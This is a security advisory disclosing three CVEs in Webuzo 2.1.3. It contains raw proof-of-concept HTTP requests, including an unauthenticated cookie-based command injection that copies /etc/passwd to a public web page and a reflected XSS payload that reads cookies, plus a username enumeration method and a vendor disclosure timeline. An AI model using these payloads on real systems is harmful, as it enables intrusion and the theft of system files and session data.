Webuzo 2.1.3 - Multiple Vulnerabilities

# Exploit Title: Webuzo Multiple Vulnerabilities
# Date: 7 October 2013
# Exploit Author: Mahendra
# Vendor Homepage: www.webuzo.com
# Software Link: http://downloads.webuzo.com/va.php
# Version: 2.1.3, other version might be vulnerable.
# Tested on: CentOS release 6.2 (FINAL)
# CVE : CVE-2013-6041, CVE-2013-6042, CVE-2013-6043

----------------------------------------------------

----------------------------------------------------


*Advisory details*

Webuzo 2.1.3 has been identified with multiple security vulnerabilities, which can be exploited to perform remote OS command injection, execute malicious script and enumerate users.

Authentication is not required to exploit these issues.


*Proof of Concept (PoC)*

----------------------------------------------------
Remote OS Command Injection (Webuzo) - CVE-2013-6041
----------------------------------------------------

GET /index.php?act=login HTTP/1.1
Host: xx.xx.xx.xx:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: SOFTCookies7972_sid=[this is your cookie value]`cat /etc/passwd > /home/admin/public_html/pwned.html`
Connection: keep-alive
Cache-Control: max-age=0

--------------------------------------------------------------------
Reflected Cross-site scripting (File Manager module) - CVE-2013-6042
--------------------------------------------------------------------

Eventhough the user parameter is not validated properly which resulted in XSS, there are sets of security protection in place provided by vendor. There is security token which randomly generated, however the token is passed via URL and HTTPS is not enforced by default. The vendor also claims that the token is assigned only to a particular IP address which will logout the user if the token is used by another IP address.

This issue can be considered as informational or very low risk issue depending on the environment setup and method used by attacker to obtain the token.


HTTP Request		: POST
Affected parameter	: user
URL/page			: /filemanager/login.php
Payload				: 1" onmouseover=alert(document.cookie) pwned="

POST /sesseisbp4bciukbenlo/filemanager/login.php HTTP/1.1
Host: xx.xx.xx.xx:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx:2002/sesseisbp4bciukbenlo/filemanager/login.php
Cookie: navphp=ajax; navphp_cols=9; catforums=2; catblogs=2; catwikis=2; catcalendars=2; catgames=2; catmail=2; catpolls=2; catfiles=2; SOFTCookies7972_sid=eisbp4bciukbenlouewpgmwjlgchervf; PHPSESSID=28u75itaq1gob5it0lfb7cesg5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
 
user=1"+onmouseover=alert(document.cookie)+pwned="&passwd=asd&action=Login

----------------------------------------------------
Username enumeration - CVE-2013-6043
----------------------------------------------------
1. Valid username and invalid password -> application returns “The username and password you entered is incorrect”
2. Invalid username and password -> application returns “The Webuzo username you entered is invalid"



*Advisory Timeline*
02-10-2013: Vendor notified
02-10-2013: Vendor acknowledged issues.
03-10-2013: Vendor released new version 2.1.4 - http://www.softaculous.com/board/index.php?tid=4526&title=Webuzo_2.1.4_Launched
10-10:2013: This advisory is published